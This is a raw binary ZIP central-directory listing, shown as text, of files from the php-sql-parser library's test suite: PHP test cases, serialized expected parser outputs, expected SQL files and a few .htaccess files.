  B            bZ vendor/greenlion/php-sql-parser/tests/cases/creator/magnusTest.phpnu [        PK       \3	  3	  D            :mZ vendor/greenlion/php-sql-parser/tests/cases/creator/issue102Test.phpnu [        PK       \cJ	  J	  C            vZ vendor/greenlion/php-sql-parser/tests/cases/creator/issue79Test.phpnu [        PK       \EkM\	  \	  D            Z vendor/greenlion/php-sql-parser/tests/cases/creator/issue123Test.phpnu [        PK       \$  $  A            nZ vendor/greenlion/php-sql-parser/tests/cases/creator/unionTest.phpnu [        PK       \@4	  4	  D            Z vendor/greenlion/php-sql-parser/tests/cases/creator/issue110Test.phpnu [        PK       \9)6	  6	  C            Z vendor/greenlion/php-sql-parser/tests/cases/creator/issue98Test.phpnu [        PK       \4x    K            TZ vendor/greenlion/php-sql-parser/tests/cases/creator/orderByPositionTest.phpnu [        PK       \D    D            PZ vendor/greenlion/php-sql-parser/tests/cases/creator/issue252Test.phpnu [        PK       \>t5\	  \	  D            Z vendor/greenlion/php-sql-parser/tests/cases/creator/issue112Test.phpnu [        PK       \Sʉ      =            Z vendor/greenlion/php-sql-parser/tests/cases/creator/.htaccessnu 7m        PK       \^
  
  C            Z vendor/greenlion/php-sql-parser/tests/cases/creator/issue57Test.phpnu [        PK       \<J    D            Z vendor/greenlion/php-sql-parser/tests/cases/creator/issue254Test.phpnu [        PK       \&  &  C            =Z vendor/greenlion/php-sql-parser/tests/cases/creator/issue62Test.phpnu [        PK       \0y'	  	  D            Z vendor/greenlion/php-sql-parser/tests/cases/creator/issue131Test.phpnu [        PK       \Sʉ      5            Z vendor/greenlion/php-sql-parser/tests/cases/.htaccessnu 7m        PK       \uߓ    I            Z vendor/greenlion/php-sql-parser/tests/expected/parser/issue71b.serializednu [        PK       \    I             [ vendor/greenlion/php-sql-parser/tests/expected/parser/issue62b.serializednu [        PK       \=@]/  /  I            [ vendor/greenlion/php-sql-parser/tests/expected/parser/issue137.serializednu [        PK       \E,
  
  I            	[ vendor/greenlion/php-sql-parser/tests/expected/parser/issue33l.serializednu [        PK       \UN    I            [ vendor/greenlion/php-sql-parser/tests/expected/parser/issue102.serializednu [        PK       \+&    I            [ vendor/greenlion/php-sql-parser/tests/expected/parser/issue78e.serializednu [        PK       \&    I             [ vendor/greenlion/php-sql-parser/tests/expected/parser/issue33k.serializednu [        PK       \~+    F            -[ vendor/greenlion/php-sql-parser/tests/expected/parser/left2.serializednu [        PK       \Px  x  I            	E[ vendor/greenlion/php-sql-parser/tests/expected/parser/comment2.serializednu [        PK       \um	  m	  I            I[ vendor/greenlion/php-sql-parser/tests/expected/parser/issue33d.serializednu [        PK       \	0Q7  Q7  H            S[ vendor/greenlion/php-sql-parser/tests/expected/parser/issue31.serializednu [        PK       \l#  #  F            [ vendor/greenlion/php-sql-parser/tests/expected/parser/show3.serializednu [        PK       \ÿHO  O  H            B[ vendor/greenlion/php-sql-parser/tests/expected/parser/delete1.serializednu [        PK       \-.    H            	[ vendor/greenlion/php-sql-parser/tests/expected/parser/issue32.serializednu [        PK       \{  {  I            
[ vendor/greenlion/php-sql-parser/tests/expected/parser/issue135.serializednu [        PK       \8Y    H            [ vendor/greenlion/php-sql-parser/tests/expected/parser/nested2.serializednu [        PK       \|K\  \  H            Z[ vendor/greenlion/php-sql-parser/tests/expected/parser/delete2.serializednu [        PK       \4  4  G            .[ vendor/greenlion/php-sql-parser/tests/expected/parser/manual.serializednu [        PK       \0(    I            ٷ[ vendor/greenlion/php-sql-parser/tests/expected/parser/issue40a.serializednu [        PK       \t-  -  H            +[ vendor/greenlion/php-sql-parser/tests/expected/parser/issue39.serializednu [        PK       \}s    G            [ vendor/greenlion/php-sql-parser/tests/expected/parser/gtltop.serializednu [        PK       \K    I            [ vendor/greenlion/php-sql-parser/tests/expected/parser/issue53a.serializednu [        PK       \_I    I            n[ vendor/greenlion/php-sql-parser/tests/expected/parser/issue33i.serializednu [        PK       \V    J            h[ vendor/greenlion/php-sql-parser/tests/expected/parser/issue133b.serializednu [        PK       \dR  R  J            [ vendor/greenlion/php-sql-parser/tests/expected/parser/issue56b1.serializednu [        PK       \p`    H            V[ vendor/greenlion/php-sql-parser/tests/expected/parser/select1.serializednu [        PK       \0&o
  
  I            w[ vendor/greenlion/php-sql-parser/tests/expected/parser/comment8.serializednu [        PK       \J{`  `  I             \ vendor/greenlion/php-sql-parser/tests/expected/parser/issue80a.serializednu [        PK       \yƔ    I            \ vendor/greenlion/php-sql-parser/tests/expected/parser/issue33g.serializednu [        PK       \Xw  w  I            \ vendor/greenlion/php-sql-parser/tests/expected/parser/issue78d.serializednu [        PK       \    F            \ vendor/greenlion/php-sql-parser/tests/expected/parser/show5.serializednu [        PK       \Uձ    I            \ vendor/greenlion/php-sql-parser/tests/expected/parser/issue55a.serializednu [        PK       \ؐ  ؐ  H            X\ vendor/greenlion/php-sql-parser/tests/expected/parser/issue11.serializednu [        PK       \9    I            \ vendor/greenlion/php-sql-parser/tests/expected/parser/issue74f.serializednu [        PK       \    I            \ vendor/greenlion/php-sql-parser/tests/expected/parser/issue40b.serializednu [        PK       \LZ0)    H            \ vendor/greenlion/php-sql-parser/tests/expected/parser/issue70.serializednu [        PK       \    I            )\ vendor/greenlion/php-sql-parser/tests/expected/parser/issue233.serializednu [        PK       \B  B  I            $\ vendor/greenlion/php-sql-parser/tests/expected/parser/issue33q.serializednu [        PK       \m|M  M  I            \ vendor/greenlion/php-sql-parser/tests/expected/parser/issue56b.serializednu [        PK       \|  |  K            \ vendor/greenlion/php-sql-parser/tests/expected/parser/positions1.serializednu [        PK       \sB      I            \ vendor/greenlion/php-sql-parser/tests/expected/parser/issue62c.serializednu [        PK       \Xt  t  I            5\ vendor/greenlion/php-sql-parser/tests/expected/parser/issue78c.serializednu [        PK       \n    N            "\ vendor/greenlion/php-sql-parser/tests/expected/parser/tableoptions2.serializednu [        PK       \wN  N  F            |\ vendor/greenlion/php-sql-parser/tests/expected/parser/show1.serializednu [        PK       \*+  +  H            @\ vendor/greenlion/php-sql-parser/tests/expected/parser/issue68.serializednu [        PK       \$D    I            \ vendor/greenlion/php-sql-parser/tests/expected/parser/issue79b.serializednu [        PK       \>C  C  I            ] vendor/greenlion/php-sql-parser/tests/expected/parser/issue55b.serializednu [        PK       \}    I            ] vendor/greenlion/php-sql-parser/tests/expected/parser/issue36c.serializednu [        PK       \ˍ}    I            ] vendor/greenlion/php-sql-parser/tests/expected/parser/issue78b.serializednu [        PK       \    I            x] vendor/greenlion/php-sql-parser/tests/expected/parser/issue34b.serializednu [        PK       \Ǧl
  l
  I            ] vendor/greenlion/php-sql-parser/tests/expected/parser/issue33c.serializednu [        PK       \K    H            ] vendor/greenlion/php-sql-parser/tests/expected/parser/issue93.serializednu [        PK       \9n  n  H            ] vendor/greenlion/php-sql-parser/tests/expected/parser/issue61.serializednu [        PK       \ߖ<    I            #] vendor/greenlion/php-sql-parser/tests/expected/parser/issue87a.serializednu [        PK       \[Tb=  =  I            %] vendor/greenlion/php-sql-parser/tests/expected/parser/issue34a.serializednu [        PK       \x    M            I(] vendor/greenlion/php-sql-parser/tests/expected/parser/issue_git183.serializednu [        PK       \&    I            0] vendor/greenlion/php-sql-parser/tests/expected/parser/issue131.serializednu [        PK       \ԑ@?  ?  I            <] vendor/greenlion/php-sql-parser/tests/expected/parser/issue33r.serializednu [        PK       \[
V(  (  I            {] vendor/greenlion/php-sql-parser/tests/expected/parser/issue67a.serializednu [        PK       \xr  r  H            5] vendor/greenlion/php-sql-parser/tests/expected/parser/issue52.serializednu [        PK       \BWIk    H            ] vendor/greenlion/php-sql-parser/tests/expected/parser/insert1.serializednu [        PK       \-    J            ] vendor/greenlion/php-sql-parser/tests/expected/parser/backtick1.serializednu [        PK       \E*4  4  F            ] vendor/greenlion/php-sql-parser/tests/expected/parser/left1.serializednu [        PK       \X    I            ] vendor/greenlion/php-sql-parser/tests/expected/parser/issue74b.serializednu [        PK       \>W6    H            ] vendor/greenlion/php-sql-parser/tests/expected/parser/issue50.serializednu [        PK       \W  W  I            ] vendor/greenlion/php-sql-parser/tests/expected/parser/issue78a.serializednu [        PK       \
7B    H            ] vendor/greenlion/php-sql-parser/tests/expected/parser/issue37.serializednu [        PK       \<QT.  .  H            ] vendor/greenlion/php-sql-parser/tests/expected/parser/insert3.serializednu [        PK       \ez  z  I            ] vendor/greenlion/php-sql-parser/tests/expected/parser/issue120.serializednu [        PK       \a    I            ] vendor/greenlion/php-sql-parser/tests/expected/parser/issue56a.serializednu [        PK       \S8`  `  G            ] vendor/greenlion/php-sql-parser/tests/expected/parser/alias3.serializednu [        PK       \7|E  E  K            ] vendor/greenlion/php-sql-parser/tests/expected/parser/subselect1.serializednu [        PK       \$    I            ] vendor/greenlion/php-sql-parser/tests/expected/parser/issue33n.serializednu [        PK       \R:    I            +] vendor/greenlion/php-sql-parser/tests/expected/parser/issue33p.serializednu [        PK       \'jG  G  F            r^ vendor/greenlion/php-sql-parser/tests/expected/parser/show2.serializednu [        PK       \7f  f  I            /
^ vendor/greenlion/php-sql-parser/tests/expected/parser/issue62a.serializednu [        PK       \zE<  <  H            ^ vendor/greenlion/php-sql-parser/tests/expected/parser/issue43.serializednu [        PK       \1#  #  H            ^ vendor/greenlion/php-sql-parser/tests/expected/parser/inlist1.serializednu [        PK       \ S)S  S  H            ](^ vendor/greenlion/php-sql-parser/tests/expected/parser/issue95.serializednu [        PK       \M    L            (-^ vendor/greenlion/php-sql-parser/tests/expected/parser/allcolumns3.serializednu [        PK       \fE}T  T  I            /^ vendor/greenlion/php-sql-parser/tests/expected/parser/comment3.serializednu [        PK       \n"    H            2^ vendor/greenlion/php-sql-parser/tests/expected/parser/issue21.serializednu [        PK       \J    H            5^ vendor/greenlion/php-sql-parser/tests/expected/parser/issue97.serializednu [        PK       \Ìj  j  I            <^ vendor/greenlion/php-sql-parser/tests/expected/parser/issue33b.serializednu [        PK       \,.d    I            ?^ vendor/greenlion/php-sql-parser/tests/expected/parser/issue36b.serializednu [        PK       \z'    I            D^ vendor/greenlion/php-sql-parser/tests/expected/parser/comment9.serializednu [        PK       \gFI(  (  H            I^ vendor/greenlion/php-sql-parser/tests/expected/parser/issue25.serializednu [        PK       \,%L
  
  H            Y^ vendor/greenlion/php-sql-parser/tests/expected/parser/issue90.serializednu [        PK       \x>A  A  I            <d^ vendor/greenlion/php-sql-parser/tests/expected/parser/issue33s.serializednu [        PK       \6  6  L            ^ vendor/greenlion/php-sql-parser/tests/expected/parser/issue_git11.serializednu [        PK       \    I            E^ vendor/greenlion/php-sql-parser/tests/expected/parser/issue33a.serializednu [        PK       \/    H            ^^ vendor/greenlion/php-sql-parser/tests/expected/parser/issue82.serializednu [        PK       \dpT    H            i^ vendor/greenlion/php-sql-parser/tests/expected/parser/issue69.serializednu [        PK       \    H            ^ vendor/greenlion/php-sql-parser/tests/expected/parser/insert2.serializednu [        PK       \8&5  5  I            ɹ^ vendor/greenlion/php-sql-parser/tests/expected/parser/comment4.serializednu [        PK       \ɨwz  z  F            w^ vendor/greenlion/php-sql-parser/tests/expected/parser/show4.serializednu [        PK       \u  u  I            g^ vendor/greenlion/php-sql-parser/tests/expected/parser/issue84c.serializednu [        PK       \	)
  
  G            U^ vendor/greenlion/php-sql-parser/tests/expected/parser/union3.serializednu [        PK       \:p  p  L            ^ vendor/greenlion/php-sql-parser/tests/expected/parser/allcolumns5.serializednu [        PK       \Sw	  	  I            ^ vendor/greenlion/php-sql-parser/tests/expected/parser/issue33e.serializednu [        PK       \)    J            *^ vendor/greenlion/php-sql-parser/tests/expected/parser/issue136b.serializednu [        PK       \$D    K            E^ vendor/greenlion/php-sql-parser/tests/expected/parser/variables2.serializednu [        PK       \7h%a    J            D^ vendor/greenlion/php-sql-parser/tests/expected/parser/issue56a1.serializednu [        PK       \Y%4  4  G            d^ vendor/greenlion/php-sql-parser/tests/expected/parser/union4.serializednu [        PK       \Y  Y  H            _ vendor/greenlion/php-sql-parser/tests/expected/parser/issue12.serializednu [        PK       \ϛN  N  I            _ vendor/greenlion/php-sql-parser/tests/expected/parser/issue33j.serializednu [        PK       \e    I            ,_ vendor/greenlion/php-sql-parser/tests/expected/parser/issue125.serializednu [        PK       \E˜E  E  F            2_ vendor/greenlion/php-sql-parser/tests/expected/parser/show7.serializednu [        PK       \nj    I            h4_ vendor/greenlion/php-sql-parser/tests/expected/parser/issue53b.serializednu [        PK       \k    G            8_ vendor/greenlion/php-sql-parser/tests/expected/parser/alias1.serializednu [        PK       \K:W    I            -=_ vendor/greenlion/php-sql-parser/tests/expected/parser/issue139.serializednu [        PK       \f;	  	  H            ,C_ vendor/greenlion/php-sql-parser/tests/expected/parser/issue45.serializednu [        PK       \8Ĭ    I            IM_ vendor/greenlion/php-sql-parser/tests/expected/parser/issue148.serializednu [        PK       \`Z  Z  I            O_ vendor/greenlion/php-sql-parser/tests/expected/parser/issue87b.serializednu [        PK       \|E  E  I            tU_ vendor/greenlion/php-sql-parser/tests/expected/parser/issue149.serializednu [        PK       \u**!  !  F            2Z_ vendor/greenlion/php-sql-parser/tests/expected/parser/show6.serializednu [        PK       \s    I            [_ vendor/greenlion/php-sql-parser/tests/expected/parser/issue33o.serializednu [        PK       \M(  (  N            =q_ vendor/greenlion/php-sql-parser/tests/expected/parser/tableoptions1.serializednu [        PK       \Ȼ    I            w_ vendor/greenlion/php-sql-parser/tests/expected/parser/issue219.serializednu [        PK       \*j    I            *_ vendor/greenlion/php-sql-parser/tests/expected/parser/comment1.serializednu [        PK       \-AP  P  I            _ vendor/greenlion/php-sql-parser/tests/expected/parser/issue71a.serializednu [        PK       \@(t    G            |_ vendor/greenlion/php-sql-parser/tests/expected/parser/union2.serializednu [        PK       \I4    I            _ vendor/greenlion/php-sql-parser/tests/expected/parser/issue84a.serializednu [        PK       \t5    H            Y_ vendor/greenlion/php-sql-parser/tests/expected/parser/issue41.serializednu [        PK       \V@    L            _ vendor/greenlion/php-sql-parser/tests/expected/parser/allcolumns4.serializednu [        PK       \l^    I            _ vendor/greenlion/php-sql-parser/tests/expected/parser/comment6.serializednu [        PK       \G;  ;  I            _ vendor/greenlion/php-sql-parser/tests/expected/parser/issue117.serializednu [        PK       \ͨ    I            =_ vendor/greenlion/php-sql-parser/tests/expected/parser/issue138.serializednu [        PK       \;jm    H            ^_ vendor/greenlion/php-sql-parser/tests/expected/parser/issue42.serializednu [        PK       \-v    I            _ vendor/greenlion/php-sql-parser/tests/expected/parser/issue67b.serializednu [        PK       \6    I            _ vendor/greenlion/php-sql-parser/tests/expected/parser/issue36a.serializednu [        PK       \*:  :  H            _ vendor/greenlion/php-sql-parser/tests/expected/parser/update1.serializednu [        PK       \sUm  m  I            6_ vendor/greenlion/php-sql-parser/tests/expected/parser/issue79a.serializednu [        PK       \;~u	  	  G            _ vendor/greenlion/php-sql-parser/tests/expected/parser/alias4.serializednu [        PK       \nA  A  L            %_ vendor/greenlion/php-sql-parser/tests/expected/parser/allcolumns2.serializednu [        PK       \\e    E            _ vendor/greenlion/php-sql-parser/tests/expected/parser/drop.serializednu [        PK       \?    H            p_ vendor/greenlion/php-sql-parser/tests/expected/parser/issue30.serializednu [        PK       \L@    J            _ vendor/greenlion/php-sql-parser/tests/expected/parser/issue133a.serializednu [        PK       \5ɐ{  {  H            _ vendor/greenlion/php-sql-parser/tests/expected/parser/update2.serializednu [        PK       \r    I            _ vendor/greenlion/php-sql-parser/tests/expected/parser/issue74c.serializednu [        PK       \X' 0   0  H            _ vendor/greenlion/php-sql-parser/tests/expected/parser/issue44.serializednu [        PK       \p  p  I            V0` vendor/greenlion/php-sql-parser/tests/expected/parser/issue80b.serializednu [        PK       \J    I            ?7` vendor/greenlion/php-sql-parser/tests/expected/parser/comment5.serializednu [        PK       \ Ɓ    I            `:` vendor/greenlion/php-sql-parser/tests/expected/parser/issue74a.serializednu [        PK       \u+  +  I            <` vendor/greenlion/php-sql-parser/tests/expected/parser/issue248.serializednu [        PK       \\jھ\  \  K            g?` vendor/greenlion/php-sql-parser/tests/expected/parser/subselect3.serializednu [        PK       \G7H  H  I            >E` vendor/greenlion/php-sql-parser/tests/expected/parser/issue33f.serializednu [        PK       \6    I            X` vendor/greenlion/php-sql-parser/tests/expected/parser/issue33m.serializednu [        PK       \ߖ$w    G            jh` vendor/greenlion/php-sql-parser/tests/expected/parser/alias2.serializednu [        PK       \ōRG  G  H            ek` vendor/greenlion/php-sql-parser/tests/expected/parser/select2.serializednu [        PK       \Ed  d  H            $q` vendor/greenlion/php-sql-parser/tests/expected/parser/issue51.serializednu [        PK       \5A9    I             v` vendor/greenlion/php-sql-parser/tests/expected/parser/issue261.serializednu [        PK       \GלTQ  TQ  I            `|` vendor/greenlion/php-sql-parser/tests/expected/parser/issue33t.serializednu [        PK       \8|    K            -` vendor/greenlion/php-sql-parser/tests/expected/parser/subselect2.serializednu [        PK       \	")
  
  I            f` vendor/greenlion/php-sql-parser/tests/expected/parser/comment7.serializednu [        PK       \A|    I            ` vendor/greenlion/php-sql-parser/tests/expected/parser/issue74d.serializednu [        PK       \6;R    H            ` vendor/greenlion/php-sql-parser/tests/expected/parser/issue65.serializednu [        PK       \o4  4  H            ` vendor/greenlion/php-sql-parser/tests/expected/parser/issue72.serializednu [        PK       \$p    I            3` vendor/greenlion/php-sql-parser/tests/expected/parser/issue277.serializednu [        PK       \    H            m` vendor/greenlion/php-sql-parser/tests/expected/parser/issue15.serializednu [        PK       \Qi3  3  I             a vendor/greenlion/php-sql-parser/tests/expected/parser/issue84b.serializednu [        PK       \Tz  z  K            	a vendor/greenlion/php-sql-parser/tests/expected/parser/variables1.serializednu [        PK       \w-GF  F  L            a vendor/greenlion/php-sql-parser/tests/expected/parser/allcolumns1.serializednu [        PK       \,>N    H            Ma vendor/greenlion/php-sql-parser/tests/expected/parser/issue94.serializednu [        PK       \ >U  U  I            a vendor/greenlion/php-sql-parser/tests/expected/parser/issue74e.serializednu [        PK       \pH	6  6  H            a vendor/greenlion/php-sql-parser/tests/expected/parser/issue54.serializednu [        PK       \P  P  H            V*a vendor/greenlion/php-sql-parser/tests/expected/parser/issue91.serializednu [        PK       \^̧,#  #  H            /a vendor/greenlion/php-sql-parser/tests/expected/parser/nested1.serializednu [        PK       \T^	  	  J            :a vendor/greenlion/php-sql-parser/tests/expected/parser/issue136a.serializednu [        PK       \Sʉ      ?            &Ea vendor/greenlion/php-sql-parser/tests/expected/parser/.htaccessnu 7m        PK       \|K\  \  H            Fa vendor/greenlion/php-sql-parser/tests/expected/parser/delete3.serializednu [        PK       \PG]  ]  L            VNa vendor/greenlion/php-sql-parser/tests/expected/parser/issue_git24.serializednu [        PK       \C&    G            /Sa vendor/greenlion/php-sql-parser/tests/expected/parser/union1.serializednu [        PK       \~|
  
  I            GYa vendor/greenlion/php-sql-parser/tests/expected/parser/issue33h.serializednu [        PK       \Zv  v  H            Bda vendor/greenlion/php-sql-parser/tests/expected/parser/issue38.serializednu [        PK       \w>dbe  e  I            0ja vendor/greenlion/php-sql-parser/tests/expected/parser/issue122.serializednu [        PK       \LC8    H            na vendor/greenlion/php-sql-parser/tests/expected/parser/issue98.serializednu [        PK       \Lh/   /   B            Sua vendor/greenlion/php-sql-parser/tests/expected/creator/issue92.sqlnu [        PK       \o#   #   C            ua vendor/greenlion/php-sql-parser/tests/expected/creator/issue62a.sqlnu [        PK       \n9      C            va vendor/greenlion/php-sql-parser/tests/expected/creator/issue33a.sqlnu [        PK       \s'*   *   C            wa vendor/greenlion/php-sql-parser/tests/expected/creator/issue121.sqlnu [        PK       \wNi        C            wa vendor/greenlion/php-sql-parser/tests/expected/creator/issue62r.sqlnu [        PK       \      ?            Kxa vendor/greenlion/php-sql-parser/tests/expected/creator/join.sqlnu [        PK       \>Q   Q   C            ya vendor/greenlion/php-sql-parser/tests/expected/creator/issue33d.sqlnu [        PK       \ĩ:   :   C            tza vendor/greenlion/php-sql-parser/tests/expected/creator/issue78e.sqlnu [        PK       \=      C            !{a vendor/greenlion/php-sql-parser/tests/expected/creator/issue110.sqlnu [        PK       \,Z   Z   A            {a vendor/greenlion/php-sql-parser/tests/expected/creator/union3.sqlnu [        PK       \I      C            w|a vendor/greenlion/php-sql-parser/tests/expected/creator/issue62g.sqlnu [        PK       \Jq++   +   C            	}a vendor/greenlion/php-sql-parser/tests/expected/creator/issue62f.sqlnu [        PK       \Odt      C            }a vendor/greenlion/php-sql-parser/tests/expected/creator/issue63c.sqlnu [        PK       \2v      C            5~a vendor/greenlion/php-sql-parser/tests/expected/creator/issue126.sqlnu [        PK       \jW,   ,   C            ~a vendor/greenlion/php-sql-parser/tests/expected/creator/issue147.sqlnu [        PK       \a      B            Ua vendor/greenlion/php-sql-parser/tests/expected/creator/issue85.sqlnu [        PK       \Fc&   &   C            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue62n.sqlnu [        PK       \,ki   i   C            ta vendor/greenlion/php-sql-parser/tests/expected/creator/issue33h.sqlnu [        PK       \v5   5   C            Pa vendor/greenlion/php-sql-parser/tests/expected/creator/issue33m.sqlnu [        PK       \            B            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue83.sqlnu [        PK       \JxY      C            ja vendor/greenlion/php-sql-parser/tests/expected/creator/issue78a.sqlnu [        PK       \<	U9   9   C            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue144.sqlnu [        PK       \V#	[   [   C            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue33l.sqlnu [        PK       \(F,   ,   B            ra vendor/greenlion/php-sql-parser/tests/expected/creator/issue66.sqlnu [        PK       \wZX   X   D            a vendor/greenlion/php-sql-parser/tests/expected/creator/tableexpr.sqlnu [        PK       \
MFK   K   @            ܅a vendor/greenlion/php-sql-parser/tests/expected/creator/where.sqlnu [        PK       \-R   R   C            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue33e.sqlnu [        PK       \]   ]   C            \a vendor/greenlion/php-sql-parser/tests/expected/creator/issue83b.sqlnu [        PK       \DS      C            ,a vendor/greenlion/php-sql-parser/tests/expected/creator/issue76a.sqlnu [        PK       \^,<7   7   B            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue87.sqlnu [        PK       \t       B            fa vendor/greenlion/php-sql-parser/tests/expected/creator/issue81.sqlnu [        PK       \"B   B   @            a vendor/greenlion/php-sql-parser/tests/expected/creator/alter.sqlnu [        PK       \o#   #   C            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue63a.sqlnu [        PK       \9ih      C            ,a vendor/greenlion/php-sql-parser/tests/expected/creator/issue100.sqlnu [        PK       \JX        C            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue62q.sqlnu [        PK       \N      C            Ma vendor/greenlion/php-sql-parser/tests/expected/creator/issue33b.sqlnu [        PK       \,V        C            ܌a vendor/greenlion/php-sql-parser/tests/expected/creator/issue76b.sqlnu [        PK       \( C   C   C            oa vendor/greenlion/php-sql-parser/tests/expected/creator/issue124.sqlnu [        PK       \y   y   C            %a vendor/greenlion/php-sql-parser/tests/expected/creator/issue33j.sqlnu [        PK       \&FB   B   C            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue83c.sqlnu [        PK       \0      C            Əa vendor/greenlion/php-sql-parser/tests/expected/creator/issue127.sqlnu [        PK       \wh{   {   C            Oa vendor/greenlion/php-sql-parser/tests/expected/creator/issue33k.sqlnu [        PK       \-+      A            =a vendor/greenlion/php-sql-parser/tests/expected/creator/magnus.sqlnu [        PK       \S5   5   B            Ja vendor/greenlion/php-sql-parser/tests/expected/creator/issue94.sqlnu [        PK       \Q$   $   C            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue117.sqlnu [        PK       \BN=   =   C            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue62d.sqlnu [        PK       \a*      C            8a vendor/greenlion/php-sql-parser/tests/expected/creator/issue78b.sqlnu [        PK       \E    C            Ŕa vendor/greenlion/php-sql-parser/tests/expected/creator/issue105.sqlnu [        PK       \"   "   B            ӗa vendor/greenlion/php-sql-parser/tests/expected/creator/issue86.sqlnu [        PK       \0J{   {   C            ga vendor/greenlion/php-sql-parser/tests/expected/creator/issue33g.sqlnu [        PK       \#I   I   C            Ua vendor/greenlion/php-sql-parser/tests/expected/creator/issue112.sqlnu [        PK       \fV%   %   C            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue130.sqlnu [        PK       \˶A    B            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue89.sqlnu [        PK       \	I  I  A            a vendor/greenlion/php-sql-parser/tests/expected/creator/inlist.sqlnu [        PK       \.>:   :   B            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue58.sqlnu [        PK       \    C            ^a vendor/greenlion/php-sql-parser/tests/expected/creator/issue106.sqlnu [        PK       \'߁*      C            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue78c.sqlnu [        PK       \AO      C            "a vendor/greenlion/php-sql-parser/tests/expected/creator/issue33f.sqlnu [        PK       \#!      C            }a vendor/greenlion/php-sql-parser/tests/expected/creator/issue104.sqlnu [        PK       \]S   S   C            ĥa vendor/greenlion/php-sql-parser/tests/expected/creator/issue62l.sqlnu [        PK       \hA4   4   C            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue123.sqlnu [        PK       \	L	}   }   G            1a vendor/greenlion/php-sql-parser/tests/expected/creator/issue_git185.sqlnu [        PK       \$I   I   C            %a vendor/greenlion/php-sql-parser/tests/expected/creator/issue62j.sqlnu [        PK       \ۗ$4   4   A            a vendor/greenlion/php-sql-parser/tests/expected/creator/update.sqlnu [        PK       \ r]   ]   A            a vendor/greenlion/php-sql-parser/tests/expected/creator/delete.sqlnu [        PK       \^O[   [   C            Ta vendor/greenlion/php-sql-parser/tests/expected/creator/issue83a.sqlnu [        PK       \m%BP   P   B            "a vendor/greenlion/php-sql-parser/tests/expected/creator/insert3.sqlnu [        PK       \yvn   n   F            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue_git10.sqlnu [        PK       \=	2.   .   C            Ȭa vendor/greenlion/php-sql-parser/tests/expected/creator/issue79a.sqlnu [        PK       \c   c   C            ia vendor/greenlion/php-sql-parser/tests/expected/creator/issue62h.sqlnu [        PK       \Uv5   5   D            ?a vendor/greenlion/php-sql-parser/tests/expected/creator/insubtree.sqlnu [        PK       \UV   V   A            a vendor/greenlion/php-sql-parser/tests/expected/creator/alter2.sqlnu [        PK       \I "      G            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue_git181.sqlnu [        PK       \q#   #   J            ;a vendor/greenlion/php-sql-parser/tests/expected/creator/orderbyposition.sqlnu [        PK       \K9   9   A            ذa vendor/greenlion/php-sql-parser/tests/expected/creator/union2.sqlnu [        PK       \5K   K   C            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue62k.sqlnu [        PK       \Rɸ-   -   C            @a vendor/greenlion/php-sql-parser/tests/expected/creator/issue129.sqlnu [        PK       \}x   x   C            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue33i.sqlnu [        PK       \F'C   C   C            ˳a vendor/greenlion/php-sql-parser/tests/expected/creator/issue118.sqlnu [        PK       \      C            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue132.sqlnu [        PK       \u1   1   C            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue62i.sqlnu [        PK       \w^N&   &   C            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue141.sqlnu [        PK       \jJj&   &   C            Oa vendor/greenlion/php-sql-parser/tests/expected/creator/issue102.sqlnu [        PK       \0O}  }  B            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue57.sqlnu [        PK       \e   e   C            ׸a vendor/greenlion/php-sql-parser/tests/expected/creator/issue134.sqlnu [        PK       \/B)   )   B            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue88.sqlnu [        PK       \=Y8   8   A            Ja vendor/greenlion/php-sql-parser/tests/expected/creator/union1.sqlnu [        PK       \      C            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue78d.sqlnu [        PK       \rE!/   /   B            |a vendor/greenlion/php-sql-parser/tests/expected/creator/issue98.sqlnu [        PK       \<A   A   C            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue63b.sqlnu [        PK       \vT   T   C            Ѽa vendor/greenlion/php-sql-parser/tests/expected/creator/issue62o.sqlnu [        PK       \eg      C            a vendor/greenlion/php-sql-parser/tests/expected/creator/issue62p.sqlnu [        PK       \~=Z   Z   ?            a vendor/greenlion/php-sql-parser/tests/expected/creator/left.sqlnu [        PK       \cm   m   >            a vendor/greenlion/php-sql-parser/tests/expected/creator/asc.sqlnu [        PK       \;(   (   C            ÿa vendor/greenlion/php-sql-parser/tests/expected/creator/issue62e.sqlnu [        PK       \/B   B   C            ^a vendor/greenlion/php-sql-parser/tests/expected/creator/issue101.sqlnu [        PK       \=}#   #   C            a vendor/greenlion/php-sql-parser/tests/expected/creator/distinct.sqlnu [        PK       \>\q      E            a vendor/greenlion/php-sql-parser/tests/expected/creator/unaryminus.sqlnu [        PK       \$@Cr   r   C            )a vendor/greenlion/php-sql-parser/tests/expected/creator/issue131.sqlnu [        PK       \	i#   #   C            a vendor/greenlion/php-sql-parser/tests/expected/creator/function.sqlnu [        PK       \GS   S   B            a vendor/greenlion/php-sql-parser/tests/expected/creator/insert1.sqlnu [        PK       \